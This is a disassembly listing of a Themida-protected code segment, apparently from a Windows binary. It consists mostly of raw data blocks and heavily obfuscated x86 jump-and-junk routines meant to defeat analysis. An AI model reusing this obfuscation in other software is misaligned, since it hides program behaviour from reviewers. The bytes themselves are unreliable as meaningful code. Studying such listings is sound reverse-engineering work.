		dd 0C3564600h, 39B7531Bh, 48A7B6DDh, 810F2E1Fh,	6, 5ABCD381h
		dd 4E80337h, 0A8000000h, 66A43576h, 50F28EBBh, 424448Bh
		dd 5AE2B256h, 0B2BA008Bh, 89162760h, 0B6042444h, 6A58A2h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 2BCFAFC3h, 2E09A5Bh,	85892A82h, 6070609h, 0BDB5FFFCh
		dd 0F060716h, 858DD6BFh, 6073A13h, 66D0FFF9h, 857D381h
		dd 19A58589h, 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0B83AC8C3h, 0
		dd 5958B57h, 5B06072Bh,	4D4EBD89h, 6A0607h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 0F428C3h
		dd 0F9B2CBF6h, 840FC00Bh, 17h, 68C0Fh, 9D230000h, 6070795h
		dd 32E9h, 0A6DA8100h, 0FF24F024h, 71F39B5h, 68F0F06h, 8B000000h
		dd 71A8195h, 0B5858D06h, 600609A6h, 17BD8D8Bh, 8D890607h
		dd 6072191h, 0DD8A5061h, 50240489h, 11BD8D56h, 8D060753h
		dd 779178Dh, 23BCB806h,	0CF2B7483h, 0C8D00730h,	0F8754947h
		dd 0BD83585Eh, 60705D5h, 8B067400h, 717CD8Dh, 0B8C93306h
		dd 0
		dd 840FC00Bh, 99h, 1BCDBD83h, 74000607h, 0D595FF06h, 0B8060715h
		dd 0
		dd 975C00Bh, 4D56BD83h,	74010607h, 56BD8309h, 206074Dh
		dd 0B58B0E75h, 6074D4Eh, 0A6B5858Dh, 0D0FF0609h, 41AB858Dh
		dd 0D0FF0607h, 21E1BD83h, 75020607h, 0DA58B2Fh,	8B060720h
		dd 705D585h, 24048906h,	10D985C7h, 10607h, 0B58B0000h
		dd 6074D52h, 2FF9AD8Bh,	1B80607h, 0C2000000h, 0EB000Ch
		dd 10D985C7h, 10607h, 0A58B0000h, 607200Dh, 1F31B58Bh
		dd 0AD8B0607h, 6072FF9h, 0CC2C033h, 61BD8300h, 60715h
		dd 0BD830F74h, 6072C61h, 0FF067400h, 72C6195h, 4EB58B06h
		dd 0C306074Dh, 0B219D29h, 0D98A0607h, 6AD22Bh, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 328CFAC3h, 0B54274E3h, 12E82C42h, 4A000000h,	7DD362A1h
		dd 9B3FAB3h, 0F6F8E436h, 0ECA5A2F3h, 0D8C280E2h
		db 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_542DF5
; ---------------------------------------------------------------------------


loc_542DF3:				; CODE XREF: Themida_:00542DF8j
		inc	eax
		inc	edi


loc_542DF5:				; CODE XREF: Themida_:00542DF1j
		cmp	byte ptr [edi],	0
		jnz	short loc_542DF3
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_542E24
; ---------------------------------------------------------------------------


loc_542E01:				; CODE XREF: Themida_:00542E26j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_542E19
; ---------------------------------------------------------------------------


loc_542E16:				; CODE XREF: Themida_:00542E1Cj
		mul	ebx
		dec	esi


loc_542E19:				; CODE XREF: Themida_:00542E14j
		cmp	esi, 0
		ja	short loc_542E16
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_542E24:				; CODE XREF: Themida_:00542DFFj
		or	eax, eax
		jnz	short loc_542E01
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		dw 0D18Bh
		dd 8B8ADA80h, 21BFE9C1h, 0B0FC0002h, 0AC0A005Ah, 0B0FC005Ah
		dd 28005Ah, 3F0259h, 0FF680259h, 12h, 2460000h,	20000h
		dd 10000h, 20000h, 0B3A50000h, 0FA4Ch, 4 dup(0)
		dd 0E1FC0000h, 0E0910054h, 0E2050054h, 0D33E0054h, 0D0D50054h
		dd 0D9F40054h, 0EE8A0054h, 807D0054h, 7C630054h, 4F650054h
		dd 0D3AC0054h, 4D5F0054h, 0BA660054h, 37310054h, 44A40054h
		dd 97040054h, 0B97A0054h, 35870054h, 83750054h,	85440054h
		dd 377E0054h, 7E1F0054h, 33EB0054h, 37BE0054h, 7CEE0054h
		dd 0BB4C0054h, 98F20054h, 0A7EF0054h, 4D0F0054h, 454B0054h
		dd 658C0054h, 76BA0054h, 0A63B0054h, 0B5D60054h, 0F0730054h
		dd 0A32F0054h, 56020054h, 8E250054h, 7D180054h,	5CB40054h
		dd 3C020054h, 7C5B0054h, 0F2430054h, 6BF40054h,	32E00054h
		dd 45890054h, 70000054h, 99750054h, 6AE60054h, 3D710054h
		dd 98FD0054h, 0B64D0054h, 0C16D0054h, 0DFE10054h, 0A6190054h
		dd 744E0054h, 66E90054h, 0F1790054h, 78C30054h,	0B6970054h
		dd 0BAB00054h, 483C0054h, 46530054h, 64610054h,	83F00054h
		dd 928C0054h, 4F8E0054h, 62060054h, 0BD1A0054h,	64240054h
		dd 3C7D0054h, 8E510054h, 0DCD10054h, 8D580054h,	97140054h
		dd 4D990054h, 54610054h, 41E00054h, 3D410054h, 6ABA0054h
		dd 9AB80054h, 0EA960054h, 0B33F0054h, 67790054h, 66F90054h
		dd 0CB110054h, 0E9E50054h, 7ACF0054h, 8AB40054h, 86E20054h
		dd 776B0054h, 8C070054h, 0CAC50054h, 0BA4A0054h, 8C230054h
		dd 8CEA0054h, 6D7E0054h, 80F30054h, 4B5B0054h, 6CC90054h
		dd 9AF90054h, 56CB0054h, 0A0920054h, 913D0054h,	51130054h
		dd 0CE060054h, 0A88B0054h, 0EED50054h, 7E080054h, 73E80054h
		dd 0B25A0054h, 5BC00054h, 5D9D0054h, 662C0054h,	0E5AC0054h
		dd 0D6C60054h, 76F50054h, 0CB780054h, 42080054h, 40120054h
		dd 49550054h, 90D40054h, 0AC760054h, 51F30054h,	0AB3F0054h
		dd 52340054h, 7CF60054h, 0C2AF0054h, 0C8630054h, 0A85A0054h
		dd 74170054h, 5CDE0054h, 5BEC0054h, 0B8830054h,	0E0990054h
		dd 4E720054h, 0A4470054h, 85690054h, 0B2C90054h, 6B5C0054h
		dd 71890054h, 6B020054h, 917A0054h, 77E90054h, 72880054h
		dd 91810054h, 5FFC0054h, 0C50C0054h, 80BF0054h,	599F0054h
		dd 57560054h, 88AD0054h, 6AF00054h, 4FE60054h, 0B99C0054h
		dd 0C6D20054h, 73F40054h, 9AF00054h, 0E8AC0054h, 68F00054h
		dd 92400054h, 6D340054h, 0A9180054h, 5F200054h,	0E2E40054h
		dd 786C0054h, 0F0F30054h
		db 54h,	0
; ---------------------------------------------------------------------------


loc_54311E:				; CODE XREF: Themida_:0056FBF8j
					; Themida_:00575709j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6077D81h
		mov	eax, edi
		add	edi, 6077A99h
		cmp	eax, [edi+2Ch]
		jnz	short loc_54313C
		jmp	short loc_54314F
; ---------------------------------------------------------------------------


loc_54313C:				; CODE XREF: Themida_:00543138j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54314B
; ---------------------------------------------------------------------------


loc_543146:				; CODE XREF: Themida_:0054314Dj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54314B:				; CODE XREF: Themida_:00543144j
		or	ecx, ecx
		jnz	short loc_543146


loc_54314F:				; CODE XREF: Themida_:0054313Aj
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54315C:				; CODE XREF: Themida_:00543163j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54315C


loc_543165:				; CODE XREF: Themida_:005437DBj
					; Themida_:00544746j ...
		lodsb
		xor	al, bl
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	esi
		jmp	loc_544286
; ---------------------------------------------------------------------------
		dd 5B34EE81h, 0D6014C6Ah, 5B34C681h, 565A4C6Ah,	42474FFh
		dd 8B2434FFh, 0C4812434h, 4, 2EC7E9h, 4C78100h,	83000000h
		dd 88E904C7h, 5900007Eh, 95C6E9h
		db 0
; ---------------------------------------------------------------------------


loc_5431C5:				; CODE XREF: Themida_:0054F126j
		pop	esi
		add	esp, 4
		add	esi, 0CB48DA10h
		jmp	loc_54BAA6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F7E92414h, 0Eh, 2AECE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5431E6:				; CODE XREF: Themida_:0054CFBEj
		push	5E87h
		jmp	loc_54F437
; ---------------------------------------------------------------------------


loc_5431F0:				; CODE XREF: Themida_:0054EC3Dj
		push	eax
		jmp	loc_54E076
; ---------------------------------------------------------------------------


loc_5431F6:				; CODE XREF: Themida_:0054DC6Cj
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4F7F06ECh
		sub	eax, 998DEA9h
		sub	ebx, eax
		pop	eax
		shr	ebx, 8
		sub	ebx, 0CA1DF9h
		add	edx, ebx
		pop	ebx
		add	edx, 2
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	bl, 3Dh
		add	bl, 0D8h
		jmp	loc_544157
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0B8F5C6Eh, 0E959CA09h, 6316h
; ---------------------------------------------------------------------------


loc_543240:				; CODE XREF: Themida_:00548B05j
		mov	eax, [esp]
		jmp	loc_544111
; ---------------------------------------------------------------------------
		dd 0D989EB89h, 2434FF5Bh, 81242C8Bh, 4C4h, 8332E900h, 0C2B60000h
		dd 0F028B92Ch, 515AB904h, 0CD8055B5h, 40E95209h, 50000A5h
		dd 4, 42Dh, 24048700h, 791BE95Ch, 48F0000h, 24248B24h
		dd 8324048Bh, 1C8904ECh, 2D48E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54329A:				; CODE XREF: Themida_:0054E952j
		add	esp, 4
		push	ecx
		mov	ecx, 1FF04FDAh
		not	ecx
		sub	ecx, 22534D92h
		add	ecx, 0FFFFFFFFh
		xor	ecx, 0B82A8F28h
		sub	ebp, ecx
		jmp	loc_54D308
; ---------------------------------------------------------------------------
		db 21h
		dd 0F3815AD3h, 1060044h, 815BDD01h, 2C5h, 4EC8300h, 0FF242C89h
		dd 5D042474h, 0E924048Fh, 200Dh, 592434FFh, 645368h, 240C8900h
		dd 0BE565954h, 285062A3h, 796E9h, 4C48100h, 57000000h
		dd 0C781E789h, 4, 4EF81h, 3C870000h, 486DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543316:				; CODE XREF: Themida_:0054E338j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_54EE84
; ---------------------------------------------------------------------------
		dd 0E9241C31h, 4242h
; ---------------------------------------------------------------------------


loc_543334:				; CODE XREF: Themida_:0054E3ECj
		push	ebx
		jmp	loc_546E7E
; ---------------------------------------------------------------------------
		dw 0C701h
		dd 78E0EF81h, 7BE91EA2h, 810000A2h, 140B1F1h, 59CE012Ah
		dd 0A279C681h, 0F701BFD6h, 56DF015Eh, 27774FBEh, 5EF72967h
		dd 8584E9h, 241C8900h, 0D8302FB3h, 82AE9h, 882EB100h, 42E959CFh
		dd 10000B4h, 6EEE81CEh,	81241727h, 193097C6h, 240C8B08h
		dd 4C481h, 34870000h, 24248B24h, 9C2404D3h, 0FFFDC0E9h
		dd 0C3315CFFh, 3D1468h,	24048900h, 0FFFDB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5433B5:				; CODE XREF: Themida_:00549990j
		push	small 2BB0h
		mov	[esp], bx
		mov	bx, 7272h
		mov	bp, bx
		mov	bx, [esp]
		jmp	loc_54BBFF
; ---------------------------------------------------------------------------
		db 68h,	0F4h, 73h
		dd 4890000h, 2474FF24h,	0B697E904h, 44810000h, 209A0424h
		dd 0CAE967FDh, 66000031h, 68240C8Bh, 3D98h, 81241489h
		dd 4ECh, 24248900h, 4BA52h, 54010000h, 94E90424h, 5000018h
		dd 4, 8B240487h, 0C4812424h, 4,	900E9C1h, 6E840FC0h, 68000032h
		dd 2D3Bh, 81241C89h, 0A6D2434h,	64E90C38h, 8100007Fh, 4C3h
		dd 4BA5200h, 29000000h,	1C875AD3h, 0B218E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543456:				; CODE XREF: Themida_:0054A9F7j
		xor	esi, edi
		pop	edi
		xor	esi, 7CB24CA0h
		dec	esi
		add	esi, 5AF3A1DAh
		and	edi, esi
		pop	esi
		add	edi, 7A736B2Ah
		push	esi
		mov	esi, 0D3A46D6Dh
		jmp	loc_54524D
; ---------------------------------------------------------------------------
		dw 8358h
		dd 1C8B04C4h, 4C48124h,	88000000h, 240C8B0Ah, 4C481h, 0FEE90000h
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543497:				; CODE XREF: Themida_:00549BEFj
		mov	ebp, 5230AA4h
		push	1D18h
		jmp	loc_54EB2A
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 1DB3E9h, 0FB895800h,	5F2434FFh, 4C481h, 522D0000h, 29778837h
		dd 0ACE951D8h, 810000A2h, 4C4h,	2DF80100h, 682E6ADEh, 0E9243C8Bh
		dd 6FC9h
; ---------------------------------------------------------------------------


loc_5434DC:				; CODE XREF: Themida_:0054EFF1j
		and	ebx, 40002C1Ah
		inc	ebx
		jmp	loc_545358
; ---------------------------------------------------------------------------
		dd 7359F381h, 0F3817219h, 0C3268E3Eh, 86D0E9h, 24248B00h
		dd 242CD366h, 0FC5FE99Ch, 3489FFFFh, 1AE76824h,	0F75E2895h
		dd 5D6BE9D6h, 14870000h, 0ABADE924h, 0C4810000h, 4, 33241C31h
		dd 1C31241Ch, 0FC33E924h, 0BE68FFFFh, 89000071h, 5B54241Ch
		dd 44568h, 243C8900h, 4BFh, 0E9FB0100h,	1971h, 83241C8Bh
		dd 48F04C4h, 0EB805C24h, 4FB5516Dh, 949E9h, 59C82900h
		dd 405D801h, 5B4C4155h,	405h, 24043300h, 3559E9h
		db 0
; ---------------------------------------------------------------------------


loc_54357D:				; CODE XREF: Themida_:0054D1D3j
		mov	ebx, 716054A7h
		jmp	loc_548D83
; ---------------------------------------------------------------------------
		db 66h
		dd 56240C8Bh, 9406E9h, 6BCD6800h, 815E441Ah, 6A94C3C6h
		dd 5EF08927h, 0B7CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5435A5:				; CODE XREF: Themida_:0054B925j
		add	esp, 4
		push	ecx
		push	3896h
		jmp	loc_5486BC
; ---------------------------------------------------------------------------


loc_5435B3:				; CODE XREF: Themida_:0054EDB1j
		sub	eax, esi
		pop	esi
		shr	eax, 6
		and	eax, 27DD4649h
		add	eax, 6B81F79Dh
		sub	edx, eax
		jmp	loc_547DA0
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 58BB6CFFh, 4D5E951h,	0CF880000h, 0CF805859h,	0A5B55182h
		dd 5059EF30h, 3378E9h, 0F5015A00h, 5124348Bh, 3FE9E189h
		dd 8900008Ah, 0F7BD242Ch, 813D1C2Ch, 1F6F00F5h,	0B1A0E953h
		dd 0EAC00000h, 93C28005h, 148BD028h, 6B5AE924h,	34FF0000h
		dd 4EC8187h, 89000000h,	0B068240Ch, 89000070h, 0A5BF243Ch
		dd 0F758DE26h, 0D0EF81DFh, 0E98803B6h, 0A0B6h, 205h, 24048700h
		dd 2424D25Ch, 0FB13E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543652:				; CODE XREF: Themida_:005454D1j
		push	2B6Bh
		jmp	loc_548660
; ---------------------------------------------------------------------------
		dd 251A4ABEh, 7BC68158h, 89D60E03h, 0E8C15EF0h,	6ABF5704h
		dd 215FF818h, 55485FF8h, 6FC7E9h, 244C0100h, 24448104h
		dd 857D3304h, 246C8144h, 0F75A9304h, 240C8B4Dh,	81E18951h
		dd 4C1h, 4BD5500h, 0E9000000h, 97ECh, 0A6E9F1F7h, 1000049h
		dd 13C281FAh, 5F683017h, 4EA81h, 14870000h, 34895C24h
		dd 0A369E924h, 34FF0000h, 2434FF24h, 954BE959h,	0E6890000h
		dd 50E95657h
		db 66h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5436DF:				; CODE XREF: Themida_:0054D03Dj
		sub	ebx, 4
		jmp	loc_5499D3
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48324h, 5C241C87h,	44EA6866h, 241C8966h, 0B299E952h
		dd 0D8090000h, 4A692D5Bh, 32E93B93h, 89000026h,	4832424h
		dd 515E0424h, 31F0DB9h,	26BE566Ch, 31390457h, 0C1815EF1h
		dd 4F7702EBh, 2A46E9h, 0C8B6600h, 9A4CE924h, 0EC810000h
		dd 4, 24048F54h, 4BA52h, 54010000h, 0CCE90424h,	2800000Eh
		dd 25C680FEh, 5AF3285Bh, 2CE7E9h, 24348900h, 0E952E689h
		dd 4AEAh, 4247C01h, 4244481h, 0B0E598Ch, 33EDE95Fh, 8B660000h
		dd 54532404h, 4EC835Bh,	0B9240C89h, 4, 217ABA52h, 0E2814B9Eh
		dd 78291F41h, 2D6AEA81h, 0D2F77B1Bh, 4A42D2F7h,	580CC281h
		dd 0D3014421h, 81CB015Ah, 0E2BE2EBh, 9C0CE911h,	8B660000h
		dd 0EC81240Ch, 4, 57240489h, 0E9525F54h, 572Eh
; ---------------------------------------------------------------------------


loc_5437D4:				; CODE XREF: Themida_:00545E59j
		pop	ebx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_543165
; ---------------------------------------------------------------------------
aFburtfbIfbESB	db 'frTfηifE]b',0
		align 4
		dd 0E9240C89h, 908Fh, 8302C183h, 0C8904ECh, 4483E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54380A:				; CODE XREF: Themida_:0054F06Ej
		push	edi
		xor	dword ptr [esp], 68AB06FBh
		pop	ebx
		xor	ebx, 68AB06FBh
		pop	edi
		add	ebx, 1E683386h
		jmp	loc_547D30
; ---------------------------------------------------------------------------
		db 2Dh,	3Bh, 52h
		dd 0E9815884h, 0EA4121Bh, 3268C181h, 4E94381h, 8100007Ah
		dd 7B79F4F7h, 13B8503Fh, 571B7068h, 11215EBFh, 0B069E97Eh
		dd 0EE810000h, 4F871552h, 0BD55D601h, 20C174A7h, 54A4E581h
		dd 0F58103CFh, 4F092852h, 67CDBE56h, 0E6817410h, 61A147C6h
		dd 0BFE9DEF7h, 31000047h, 1C33241Ch, 14895C24h,	4685324h
		dd 5B000000h, 3279E9h, 0DBF74300h, 10B6F381h, 0BF57D0A7h
		dd 4C1620EFh, 4E7C14Fh,	3DC5E9h, 77D86800h, 34890000h
		dd 4EC8124h, 89000000h,	4832424h, 0C6E90424h, 83000094h
		dd 0C58101EDh, 68A876ACh, 0A83ED81h, 87554265h,	6AE9242Ch
		dd 0F7000059h, 25ED81D5h, 8954E5A0h, 37E95DEEh,	580000A9h
		dd 8704C283h, 0FF5C2414h, 34FF2434h, 24048B24h,	4808E956h
		dd 1C890000h, 0B9FAE924h, 34310000h, 24343324h,	4A68685Ch
		dd 4890000h, 590BB824h,	44292B40h, 29580424h, 62682404h
		dd 89000048h, 0BE56242Ch, 1FCE395Ch, 8754E9h, 2C875F00h
		dd 86FFE924h, 895C0000h, 0E789243Ch, 269B68h, 242C8900h
		dd 4BDh, 6EC78100h, 14ACB78h, 6EEF81EFh, 8B4ACB78h, 0C481242Ch
		dd 4, 9BE2E9h, 59CB2900h, 8B241C87h, 0DEE92424h
		db 0FDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543983:				; CODE XREF: Themida_:00549496j
		mov	eax, offset loc_546521
		push	edx
		jmp	loc_54ECC8
; ---------------------------------------------------------------------------
aYs		db 'Y\',0
		align 4
		dd 4C481h, 814F0000h, 4227B3EFh, 5ECEE90Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		xor	al, bh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_545DA8
; ---------------------------------------------------------------------------
		db 0BBh, 4, 0
		dd 0DA010000h, 4C2815Bh, 0E9000000h, 205Dh, 0C245C29h
		dd 246C295Bh, 24448108h, 0CE1A1408h, 280DE928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5439EA:				; CODE XREF: Themida_:005499FAj
		sub	eax, edx
		mov	edx, [esp]
		jmp	loc_547CD2
; ---------------------------------------------------------------------------
		dd 0B6594668h, 0EF81583Dh, 18353CB6h, 0C781C701h, 18353CB6h
		dd 0A153E9h, 0E3BA5200h, 4279035Eh, 0BE56D2F7h,	13FD6D7Ch
		dd 815EF229h, 0BA5E52CAh, 7FF2812Ah, 8155FF59h,	0FFD964C2h
		dd 8BD501D0h, 0C4832414h, 242C8704h, 6824248Bh,	406h, 0A774E9h
		db 0
; ---------------------------------------------------------------------------


loc_543A49:				; CODE XREF: Themida_:0054A8E6j
		add	ebp, edi
		sub	ebp, 81910C4h
		pop	edi
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_54D900
; ---------------------------------------------------------------------------
		dd 2C481h, 0FD300000h, 83DDE9h,	0E8005B00h, 0E92434FFh
		dd 0FFFFF74Bh
; ---------------------------------------------------------------------------


loc_543A74:				; CODE XREF: Themida_:0054C0D9j
		mov	eax, esp
		push	ebp
		push	esi
		mov	esi, 440B0F89h
		jmp	loc_543C77
; ---------------------------------------------------------------------------
		dw 0F280h
a5a		db '5',0
aSsp		db 'P',0
		dw 5100h
		dd 0D61168B9h, 8141415Fh, 0D24211E1h, 2E9C139h,	46EFE981h
		dd 60E9A4CDh, 8900002Bh, 59CF89D9h, 5FFE015Bh, 9F5CE959h
		dd 0C1580000h, 0C58104EDh, 55A0D021h, 2943EA81h, 0EA292CE1h
		dd 2943C281h, 2D5D2CE1h, 212C389Ch, 0A22E9B05h,	2DD02966h
		dd 66A22E9Bh, 188868h, 243C8900h, 2C389CBFh, 1F02D21h
		dd 0F80143D3h, 0D301F005h, 525A5F43h, 2F029DBAh, 4E2C16Ah
		dd 4EC81h, 2C890000h, 5521BD24h, 0E95755D7h, 0C2Fh, 2C8BEE01h
		dd 5703E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543B26:				; CODE XREF: Themida_:005479E5j
		add	esp, 4
		pop	edi
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54C176
; ---------------------------------------------------------------------------
		dd 1CE94F4Fh, 8100004Fh, 0FF33FEEEh, 0E2EE816Dh, 514F45F0h
		dd 0CA89F189h, 0C7815E59h, 7FF371D6h, 0EF81D729h, 7FF371D6h
		dd 0DBE9FD5Ah, 330000B0h, 0F5C243Ch, 9C51C8AFh,	6C82E9h
		dd 52D82800h, 880DB050h, 90C7E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543B82:				; CODE XREF: Themida_:00548FE0j
		pop	ecx
		xor	dh, 62h
		add	al, dh
		jmp	loc_54EC1F
; ---------------------------------------------------------------------------
		db 89h,	0C2h, 8Bh
		dd 0C4812404h, 4, 0D0E9D601h, 5B000068h, 0D9168h, 24148900h
		dd 0C68040B6h, 5AF028CCh, 67B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_543BB5:				; CODE XREF: Themida_:005488A1j
		add	esp, 4
		neg	ah
		jmp	loc_549CDC
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 59403F2Dh, 0CEE8120h, 29679234h, 0CC681C6h, 58679234h
		dd 8B243487h, 4892424h,	0F57FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_543BE6:				; CODE XREF: Themida_:00545C27j
		xor	edx, 1A3E68BEh
		add	edx, 0BF485A40h
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5474B0
; ---------------------------------------------------------------------------
		dw 1CF6h
		dd 5AE99C24h, 68FFFFF5h, 3C662306h, 68574058h, 667A18BAh
		dd 1434E9h
		db 0
; ---------------------------------------------------------------------------


loc_543C1D:				; CODE XREF: Themida_:0054445Cj
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547F49
; ---------------------------------------------------------------------------
aWsY		db 'WY',0
		db 0
; ---------------------------------------------------------------------------


loc_543C31:				; CODE XREF: Themida_:0054E923j
		add	edi, edx
		pop	edx
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_54D4B1
; ---------------------------------------------------------------------------
		dd 0E958C701h, 1FEBh, 15AD501h,	9D0CE9EFh, 0E9C10000h
		dd 261B6806h, 0C9E90000h, 5200001Fh, 9AE9E289h,	0BA000009h
		dd 4, 67E9D601h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_543C77:				; CODE XREF: Themida_:00543A7Dj
		inc	esi
		jmp	loc_546CE7
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 3AFA68h, 24348900h, 168E689h, 8900001Dh, 0E952241Ch
		dd 3A48h
; ---------------------------------------------------------------------------


loc_543C98:				; CODE XREF: Themida_:00548BE5j
		push	ebx
		mov	ebx, 1CD0422Dh
		jmp	loc_54AE01
; ---------------------------------------------------------------------------
		db 5Eh
		dd 8106E5C1h, 4E84E6C5h, 98ED8124h, 0F71F0909h,	912DE9DDh
		dd 80BB0000h, 29B707CAh, 76ABE9EBh, 0EDBE0000h,	0E9286974h
		dd 599Fh, 5624148Bh, 0C681E689h, 4, 4BD55h, 0EE010000h
		dd 5FCCE9h, 0DBF18100h,	811CC636h, 6614ABC1h, 0CD8955A4h
		dd 8B5DEF89h, 0C481240Ch, 4, 0D0DE9h, 0B35EB600h, 5AF3009Ah
		dd 0E906E3C0h, 6762h, 0EC240481h, 0E93E8D22h, 6B93h, 835BFD08h
		dd 48904ECh, 68536624h,	424Fh, 0B1240C89h, 0C0E9808Bh
		dd 47EE9h, 442CAC00h, 30040D04h, 302CD800h, 5027B353h
		dd 8AE950B0h, 0C1000070h, 26E906E6h, 800000A0h,	0EB80BBE3h
		dd 5BD828F5h, 0D800F804h, 0B378E9h, 0C168AD00h,	8900006Eh
		dd 0EC83241Ch, 243C8904h, 54636768h, 0C7815F60h, 18B5C9Fh
		dd 0A5E9E950h, 14890000h, 0E99C5024h, 0FFFFF3C9h
; ---------------------------------------------------------------------------


loc_543D9C:				; CODE XREF: Themida_:0054D4B5j
		pop	esp
		jmp	loc_54E32F
; ---------------------------------------------------------------------------
		dw 4B8h
		dd 1000000h, 148758C2h,	9D685C24h, 89000014h, 40B82404h
		dd 21000000h, 2434FFC1h, 0E1895158h, 4C181h, 0E9810000h
		dd 4, 0B2AEE9h
		db 0
; ---------------------------------------------------------------------------


loc_543DD5:				; CODE XREF: Themida_:0054A512j
		shl	edx, 1
		and	edx, 1ED8527Fh
		sub	edx, 7D5B2C63h
		push	ebp
		mov	ebp, 162E5E2Dh
		shl	ebp, 3
		add	ebp, 66FD0545h
		shl	ebp, 4
		jmp	loc_547C4A
; ---------------------------------------------------------------------------
		dw 0F75Dh
aSse		db 'e',0
		align 2
		dw 487h
		dd 24248B24h, 4BB0F66h,	52E99C24h, 87FFFFF3h, 4BE92404h
		dd 5A000082h, 3B65E9h, 0F1EB8100h, 0E968630Fh, 3FEBh, 4B850h
		dd 4CE90000h, 0C1000031h, 0E78108E7h, 0B161B08h, 8108EFC1h
		dd 36ADEF7h, 5FFB2905h,	4B95159h, 29000000h, 1C3359CBh
		dd 241C3124h, 8B241C33h, 14892424h, 2C0AE924h, 814F0000h
		dd 352B07CFh, 1BEBE968h, 0C2810000h, 0A7637C55h, 0E95AD101h
		dd 3468h, 0E180D9F6h, 0B1E9806Bh, 0C800F204h, 928EE9h
		dd 4C68100h, 81000000h,	4C6h, 2111E900h, 0F2310000h, 705E95Eh
		dd 0C3800000h, 0E9EB0002h, 0A854h, 4F0005Ch, 0A949E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543EC2:				; CODE XREF: Themida_:0054F009j
		mov	eax, esp
		add	eax, 4
		jmp	loc_545457
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 62591EA1h, 2959CA89h, 0E9082454h, 43A1h, 46EA8142h
		dd 815B2B5Dh, 0A216E0F2h, 7A64E965h, 81660000h,	661C7BE9h
		dd 0AB48E95Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_543EFE:				; CODE XREF: Themida_:0054BAA1j
		push	esp
		pop	edx
		push	53FBh
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_549A7D
; ---------------------------------------------------------------------------


loc_543F12:				; CODE XREF: Themida_:00545691j
		and	eax, ecx
		pop	ecx
		jmp	loc_54C6DA
; ---------------------------------------------------------------------------
		dw 0FB68h
		dd 8900006Fh, 9C502414h, 0FFF23CE9h, 2DBF57FFh,	813A8B03h
		dd 7C6BF4C7h, 0BB534709h, 28CE702Fh, 8103E3C1h,	2B699BE3h
		dd 0F8EB8177h, 31021B91h, 72E95BDFh, 8F00002Bh,	248B2404h
		dd 24D36624h, 0C7E99C24h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_543F63:				; CODE XREF: Themida_:00547172j
